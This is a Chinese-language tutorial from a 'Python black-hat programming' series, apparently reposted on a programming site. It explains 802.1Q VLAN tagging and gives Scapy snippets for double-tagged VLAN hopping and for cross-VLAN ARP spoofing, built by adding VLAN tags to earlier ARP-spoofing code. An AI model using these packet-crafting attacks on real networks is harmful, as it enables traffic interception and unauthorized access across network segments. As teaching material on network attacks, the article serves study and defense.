Python黑帽編程 3.4 跨越VLAN詳解
VLAN(Virtual Local Area Network),是基于以太網(wǎng)交互技術(shù)構(gòu)建的虛擬網(wǎng)絡(luò),既可以將同一物理網(wǎng)絡(luò)劃分成多個(gè)VALN,也可以跨越物理網(wǎng)絡(luò)障礙,將不同子網(wǎng)中的用戶劃到同一個(gè)VLAN中。圖2是一個(gè)VLAN劃分的例子。
圖2
實(shí)現(xiàn)VLAN的方式有很多種,基于交換設(shè)備的VLAN劃分,一般有兩種:
l 基于交換機(jī)的端口劃分
l 基于IEEE 802.1q協(xié)議,擴(kuò)展以太網(wǎng)幀格式
基于第二層的VLAN技術(shù),有個(gè)Trunking的概念,Trunking是用來在不同的交換機(jī)之間進(jìn)行連接,以保證在跨越多個(gè)交換機(jī)上建立的同一個(gè)VLAN的成員能夠相互通訊。其中交換機(jī)之間互聯(lián)用的端口就稱為Trunk端口。除了80.2.1q之外,思科有自己的Trunk協(xié)議叫ISL。
圖3
圖3是802.1q的數(shù)據(jù)包,和普通的以太網(wǎng)幀并沒有本質(zhì)的區(qū)別,只是增加一個(gè)了VLAN Tag。紅色部分的VLAN Identifier標(biāo)識了一個(gè)數(shù)據(jù)包屬于哪個(gè)VLAN,從而保證了數(shù)據(jù)廣播的范圍不會跨越VLAN。
現(xiàn)在做簡單的思考,想要跨越VLAN通信,是不是只要修改數(shù)據(jù)包中的標(biāo)識符就可以了呢?
3.4.1 VLAN Hopping
基于上面的分析,我們考慮一個(gè)簡單的場景:跨VLANping,從Vlan1的一個(gè)主機(jī)發(fā)送一個(gè)ping請求到Vlan2中的一個(gè)主機(jī)。
在具體編碼前,我們還是要先解決VLAN數(shù)據(jù)包構(gòu)造的問題,在Scapy中我們使用Dot1Q類來構(gòu)造圖3中的Tag部分。如圖4。
圖4
下面我們可以編寫一個(gè)跨VLAN的ping請求了。
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
上面的代碼我們指定了目標(biāo)主機(jī)的MAC和IP地址,添加了兩個(gè)VLAN標(biāo)識,第一個(gè)是發(fā)送數(shù)據(jù)的主機(jī)所在的VLAN,第二個(gè)是目標(biāo)主機(jī)所在的VLAN。交換機(jī)會移除第一個(gè)標(biāo)識,讀到第二個(gè)標(biāo)識的時(shí)候,會轉(zhuǎn)發(fā)該數(shù)據(jù)包到目標(biāo)主機(jī)。
3.4.2 跨VLAN的ARP欺騙
3.1、3.2和3.3節(jié)我們都在討論ARP欺騙的問題,由于VLAN限制了廣播域,我們之前的代碼是無法跨VLAN進(jìn)行ARP欺騙的。不過要解決這個(gè)問題也很簡單,只需在我們之前構(gòu)造的ARP欺騙數(shù)據(jù)中插入VLAN標(biāo)識即可。下面這段代碼是我們在3.1節(jié)構(gòu)造ARP請求數(shù)據(jù)包的代碼。
def build_req(): if options.target is None: pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print "[-] Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) return pkt
在構(gòu)造數(shù)據(jù)包的部分,我們插入VLAN標(biāo)識:
pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
這樣就可以實(shí)現(xiàn)跨VLAN的ARP欺騙了。
3.4.3 小結(jié)
本節(jié)主要講了如何構(gòu)造欺騙VLAN的數(shù)據(jù)包,達(dá)到跨VLAN數(shù)據(jù)通信和ARP欺騙的目的。需要注意的是,本文的方法主要針對802.1Q協(xié)議,對以端口進(jìn)行物理隔離的的VLAN沒有效果。
以上所述是小編給大家介紹的Python黑帽編程 3.4 跨越VLAN詳解,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時(shí)回復(fù)大家的。在此也非常感謝大家對腳本之家網(wǎng)站的支持!
相關(guān)文章
Python中連通域分割Two-Pass算法的原理與實(shí)現(xiàn)詳解
兩遍掃描法(?Two-Pass?),正如其名,指的就是通過掃描兩遍圖像,將圖像中存在的所有連通域找出并標(biāo)記,本文將詳細(xì)介紹Two-Pass算法的原理與實(shí)現(xiàn),需要的可以參考下2023-12-12python是先運(yùn)行metaclass還是先有類屬性解析
這篇文章主要為大家介紹了python是先運(yùn)行metaclass還是先有類屬性的問題原理解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-05-05Python實(shí)用技巧之利用元組代替字典并為元組元素命名
這篇文章主要給大家介紹了關(guān)于Python實(shí)用技巧之利用元組代替字典并為元組元素命名的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起看看吧2018-07-07Python常用的內(nèi)置序列結(jié)構(gòu)(列表、元組、字典)學(xué)習(xí)筆記
序列指元素排成一列的數(shù)據(jù)結(jié)構(gòu),Python中有l(wèi)ist列表而沒有默認(rèn)內(nèi)置array數(shù)組,以下我們來整理一下Python常用的內(nèi)置序列結(jié)構(gòu)(列表、元組、字典)學(xué)習(xí)筆記2016-07-07python 使用事件對象asyncio.Event來同步協(xié)程的操作
這篇文章主要介紹了python 使用事件對象asyncio.Event來同步協(xié)程的操作,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-05-05關(guān)于PyQt5中QtGui.QImage圖片顯示問題解析
PyQt作為Qt語言的Python擴(kuò)展,可以用來方便快速的開發(fā)界面應(yīng)用,本文重點(diǎn)給大家介紹PyQt5中的QtGui.QImage圖片顯示問題分析,需要的朋友可以參考下2022-03-03